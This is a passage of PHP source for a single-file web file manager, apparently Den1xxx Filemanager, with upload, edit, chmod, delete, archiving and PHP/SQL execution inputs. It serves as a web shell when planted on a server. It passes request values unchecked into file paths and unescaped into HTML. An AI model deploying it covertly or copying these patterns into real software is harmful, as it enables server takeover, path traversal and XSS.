    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
